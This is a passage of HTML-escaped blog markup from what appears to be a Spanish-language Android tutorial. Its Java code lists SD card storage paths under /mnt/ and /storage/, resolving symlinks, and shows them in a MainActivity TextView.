  String rutas&lt;span style=&quot;color: #333333;&quot;&gt;[]&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;{&lt;/span&gt; &lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;/mnt/&quot;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;/storage/&quot;&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;};&lt;/span&gt; &lt;span style=&quot;color: #888888;&quot;&gt;// Rutas posibles&lt;/span&gt;

  &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;int&lt;/span&gt; i &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;;&lt;/span&gt; i &lt;span style=&quot;color: #333333;&quot;&gt;&amp;lt;&lt;/span&gt; rutas&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;length&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;;&lt;/span&gt; i&lt;span style=&quot;color: #333333;&quot;&gt;++)&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;{&lt;/span&gt;
   File file &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;new&lt;/span&gt; File&lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;rutas&lt;span style=&quot;color: #333333;&quot;&gt;[&lt;/span&gt;i&lt;span style=&quot;color: #333333;&quot;&gt;]);&lt;/span&gt;&lt;span style=&quot;color: #888888;&quot;&gt;// Ruta actual ( listamos de uno a uno )&lt;/span&gt;
   &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;(!&lt;/span&gt;file&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;exists&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;())&lt;/span&gt; &lt;span style=&quot;color: #888888;&quot;&gt;// Si no existe pasamos a la siguiente&lt;/span&gt;
    &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;continue&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;;&lt;/span&gt;
   System&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;out&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;println&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;Ruta : &quot;&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;+&lt;/span&gt; rutas&lt;span style=&quot;color: #333333;&quot;&gt;[&lt;/span&gt;i&lt;span style=&quot;color: #333333;&quot;&gt;]);&lt;/span&gt; &lt;span style=&quot;color: #888888;&quot;&gt;// Imprimimos para &quot;depurar&quot;&lt;/span&gt;
   String f&lt;span style=&quot;color: #333333;&quot;&gt;[]&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; file&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;list&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;();&lt;/span&gt; &lt;span style=&quot;color: #888888;&quot;&gt;// Contenido de ruta actual&lt;/span&gt;
   &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;int&lt;/span&gt; o &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;;&lt;/span&gt; o &lt;span style=&quot;color: #333333;&quot;&gt;&amp;lt;&lt;/span&gt; f&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;length&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;;&lt;/span&gt; o&lt;span style=&quot;color: #333333;&quot;&gt;++)&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;{&lt;/span&gt; &lt;span style=&quot;color: #888888;&quot;&gt;// Recorremos el contenido de la ruta actual&lt;/span&gt;
    &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;f&lt;span style=&quot;color: #333333;&quot;&gt;[&lt;/span&gt;o&lt;span style=&quot;color: #333333;&quot;&gt;].&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;indexOf&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;sd&quot;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;!=&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;{&lt;/span&gt; &lt;span style=&quot;color: #888888;&quot;&gt;// Vemos si contiene sd en el nombre si es asi es almacenamiento&lt;/span&gt;
     String ruta &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; rutas&lt;span style=&quot;color: #333333;&quot;&gt;[&lt;/span&gt;i&lt;span style=&quot;color: #333333;&quot;&gt;]&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;+&lt;/span&gt; f&lt;span style=&quot;color: #333333;&quot;&gt;[&lt;/span&gt;o&lt;span style=&quot;color: #333333;&quot;&gt;];&lt;/span&gt; &lt;span style=&quot;color: #888888;&quot;&gt;// Creamos una Ruta,esta ruta es la original&lt;/span&gt;
     File fd &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;new&lt;/span&gt; File&lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;ruta&lt;span style=&quot;color: #333333;&quot;&gt;);&lt;/span&gt; &lt;span style=&quot;color: #888888;&quot;&gt;// Creamos un nuevo File para evitar rutas repetidas basadas en symlinks&lt;/span&gt;
     String toAdd&lt;span style=&quot;color: #333333;&quot;&gt;;&lt;/span&gt;
     &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;try&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;{&lt;/span&gt;
      System&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;out&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;println&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;Canocial :&quot;&lt;/span&gt;
        &lt;span style=&quot;color: #333333;&quot;&gt;+&lt;/span&gt; fd&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;getCanonicalPath&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;().&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;toString&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;());&lt;/span&gt; &lt;span style=&quot;color: #888888;&quot;&gt;// Esta seria la ruta original&lt;/span&gt;
      toAdd &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; fd&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;getCanonicalPath&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;().&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;toString&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;();&lt;/span&gt;
     &lt;span style=&quot;color: #333333;&quot;&gt;}&lt;/span&gt; &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;catch&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;IOException e&lt;span style=&quot;color: #333333;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;{&lt;/span&gt;
      &lt;span style=&quot;color: #888888;&quot;&gt;// TODO Auto-generated catch block&lt;/span&gt;
      e&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;printStackTrace&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;();&lt;/span&gt;
      toAdd &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;null&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;;&lt;/span&gt;
      &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;continue&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;;&lt;/span&gt;
     &lt;span style=&quot;color: #333333;&quot;&gt;}&lt;/span&gt;
     &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;(!&lt;/span&gt;tmp&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;toAdd&lt;span style=&quot;color: #333333;&quot;&gt;))&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;{&lt;/span&gt; &lt;span style=&quot;color: #888888;&quot;&gt;// Si se repitiera no lo añadimos&lt;/span&gt;
      System&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;out&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;println&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;A añadir :&quot;&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;+&lt;/span&gt; toAdd&lt;span style=&quot;color: #333333;&quot;&gt;);&lt;/span&gt;
      tmp&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;add&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;toAdd&lt;span style=&quot;color: #333333;&quot;&gt;);&lt;/span&gt;
     &lt;span style=&quot;color: #333333;&quot;&gt;}&lt;/span&gt;
    &lt;span style=&quot;color: #333333;&quot;&gt;}&lt;/span&gt;
   &lt;span style=&quot;color: #333333;&quot;&gt;}&lt;/span&gt;
  &lt;span style=&quot;color: #333333;&quot;&gt;}&lt;/span&gt;

  &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;return&lt;/span&gt; tmp&lt;span style=&quot;color: #333333;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: #888888;&quot;&gt;// Regresamos el Array de almacenamientos&lt;/span&gt;
 &lt;span style=&quot;color: #333333;&quot;&gt;}&lt;/span&gt;
&lt;/pre&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
Ahora solo debemos llamar la función:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;SD_CARDS =&amp;nbsp;getAllsds();&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt; Y listo :D&lt;br /&gt;
&lt;br /&gt;
Las rutas se ven el el &lt;b&gt;Logcat&lt;/b&gt; pero vamos a mostrarlo en la aplicación mínima que nos crea Eclipse o Android Studio:&lt;br /&gt;
&lt;br /&gt;
Supongamos que el paquete se llama:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;com.itimetux.alamacenamientos&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Así debe quedar el MainActivity:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;br /&gt;
&lt;div style=&quot;background: #ffffff; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;&quot;&gt;
&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86&lt;/pre&gt;
&lt;/td&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;package&lt;/span&gt; com&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;itimetux&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;alamacenamientos&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;;&lt;/span&gt;

&lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #0e84b5; font-weight: bold;&quot;&gt;java.io.File&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #0e84b5; font-weight: bold;&quot;&gt;java.io.IOException&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #0e84b5; font-weight: bold;&quot;&gt;java.util.ArrayList&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;;&lt;/span&gt;

&lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #0e84b5; font-weight: bold;&quot;&gt;android.support.v7.app.ActionBarActivity&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #0e84b5; font-weight: bold;&quot;&gt;android.os.Bundle&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #0e84b5; font-weight: bold;&quot;&gt;android.view.Menu&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #0e84b5; font-weight: bold;&quot;&gt;android.view.MenuItem&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #0e84b5; font-weight: bold;&quot;&gt;android.widget.TextView&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;;&lt;/span&gt;

&lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;public&lt;/span&gt; &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;class&lt;/span&gt; &lt;span style=&quot;color: #bb0066; font-weight: bold;&quot;&gt;MainActivity&lt;/span&gt; &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;extends&lt;/span&gt; ActionBarActivity &lt;span style=&quot;color: #333333;&quot;&gt;{&lt;/span&gt;
 &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;private&lt;/span&gt; ArrayList&lt;span style=&quot;color: #333333;&quot;&gt;&amp;lt;&lt;/span&gt;String&lt;span style=&quot;color: #333333;&quot;&gt;&amp;gt;&lt;/span&gt; SD_CARDS&lt;span style=&quot;color: #333333;&quot;&gt;;&lt;/span&gt;
 &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;private&lt;/span&gt; TextView rutas&lt;span style=&quot;color: #333333;&quot;&gt;;&lt;/span&gt;
 &lt;span style=&quot;color: #555555; font-weight: bold;&quot;&gt;@Override&lt;/span&gt;
 &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;protected&lt;/span&gt; &lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;void&lt;/span&gt; &lt;span style=&quot;color: #0066bb; font-weight: bold;&quot;&gt;onCreate&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;Bundle savedInstanceState&lt;span style=&quot;color: #333333;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;{&lt;/span&gt;
  &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;super&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;onCreate&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;savedInstanceState&lt;span style=&quot;color: #333333;&quot;&gt;);&lt;/span&gt;
  setContentView&lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;R&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;layout&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;activity_main&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;);&lt;/span&gt;
  rutas &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;TextView&lt;span style=&quot;color: #333333;&quot;&gt;)&lt;/span&gt; findViewById&lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;R&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;textView1&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;);&lt;/span&gt;
  SD_CARDS &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; getAllsds&lt;span style=&quot;color: #333333;&quot;&gt;();&lt;/span&gt;
  String sd &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;;&lt;/span&gt;
  &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;int&lt;/span&gt; i&lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;;&lt;/span&gt;i&lt;span style=&quot;color: #333333;&quot;&gt;&amp;lt;&lt;/span&gt;SD_CARDS&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;size&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;();&lt;/span&gt;i&lt;span style=&quot;color: #333333;&quot;&gt;++)&lt;/span&gt;
  &lt;span style=&quot;color: #333333;&quot;&gt;{&lt;/span&gt;
   sd &lt;span style=&quot;color: #333333;&quot;&gt;+=&lt;/span&gt; SD_CARDS&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;i&lt;span style=&quot;color: #333333;&quot;&gt;);&lt;/span&gt;
   sd &lt;span style=&quot;color: #333333;&quot;&gt;+=&lt;/span&gt; &lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;\n&quot;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;;&lt;/span&gt;
  &lt;span style=&quot;color: #333333;&quot;&gt;}&lt;/span&gt;
  rutas&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;setText&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;sd&lt;span style=&quot;color: #333333;&quot;&gt;);&lt;/span&gt;
 &lt;span style=&quot;color: #333333;&quot;&gt;}&lt;/span&gt;

 &lt;span style=&quot;color: #555555; font-weight: bold;&quot;&gt;@Override&lt;/span&gt;
 &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;public&lt;/span&gt; &lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;boolean&lt;/span&gt; &lt;span style=&quot;color: #0066bb; font-weight: bold;&quot;&gt;onCreateOptionsMenu&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;Menu menu&lt;span style=&quot;color: #333333;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;{&lt;/span&gt;
  &lt;span style=&quot;color: #888888;&quot;&gt;// Inflate the menu; this adds items to the action bar if it is present.&lt;/span&gt;
  getMenuInflater&lt;span style=&quot;color: #333333;&quot;&gt;().&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;inflate&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;R&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;menu&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;main&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;,&lt;/span&gt; menu&lt;span style=&quot;color: #333333;&quot;&gt;);&lt;/span&gt;
  &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;;&lt;/span&gt;
 &lt;span style=&quot;color: #333333;&quot;&gt;}&lt;/span&gt;

 &lt;span style=&quot;color: #555555; font-weight: bold;&quot;&gt;@Override&lt;/span&gt;
 &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;public&lt;/span&gt; &lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;boolean&lt;/span&gt; &lt;span style=&quot;color: #0066bb; font-weight: bold;&quot;&gt;onOptionsItemSelected&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;MenuItem item&lt;span style=&quot;color: #333333;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;{&lt;/span&gt;
  &lt;span style=&quot;color: #888888;&quot;&gt;// Handle action bar item clicks here. The action bar will&lt;/span&gt;
  &lt;span style=&quot;color: #888888;&quot;&gt;// automatically handle clicks on the Home/Up button, so long&lt;/span&gt;
  &lt;span style=&quot;color: #888888;&quot;&gt;// as you specify a parent activity in AndroidManifest.xml.&lt;/span&gt;
  &lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;int&lt;/span&gt; id &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; item&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;getItemId&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;();&lt;/span&gt;
  &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;id &lt;span style=&quot;color: #333333;&quot;&gt;==&lt;/span&gt; R&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;action_settings&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;{&lt;/span&gt;
   &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;;&lt;/span&gt;
  &lt;span style=&quot;color: #333333;&quot;&gt;}&lt;/span&gt;
  &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;super&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #0000cc;&quot;&gt;onOptionsItemSelected&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;(&lt;/span&gt;item&lt;span style=&quot;color: #333333;&quot;&gt;);&lt;/span&gt;
 &lt;span style=&quot;color: #333333;&quot;&gt;}&lt;/span&gt;

 &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;private&lt;/span&gt; ArrayList&lt;span style=&quot;color: #333333;&quot;&gt;&amp;lt;&lt;/span&gt;String&lt;span style=&quot;color: #333333;&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #0066bb; font-weight: bold;&quot;&gt;getAllsds&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;()&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;{&lt;/span&gt;
  ArrayList&lt;span style=&quot;color: #333333;&quot;&gt;&amp;lt;&lt;/span&gt;String&lt;span style=&quot;color: #333333;&quot;&gt;&amp;gt;&lt;/span&gt; tmp &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;new&lt;/span&gt; ArrayList&lt;span style=&quot;color: #333333;&quot;&gt;&amp;lt;&lt;/span&gt;String&lt;span style=&quot;color: #333333;&quot;&gt;&amp;gt;();&lt;/span&gt; &lt;span style=&quot;color: #888888;&quot;&gt;// Array de todas las rutas&lt;/span&gt;

  String rutas&lt;span style=&quot;color: #333333;&quot;&gt;[]&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;{&lt;/span&gt; &lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;/mnt/&quot;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;/storage/&quot;&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;};&lt;/span&gt; &lt;span style=&quot;color: #888888;&quot;&gt;// Rutas posibles&lt;/span&gt;

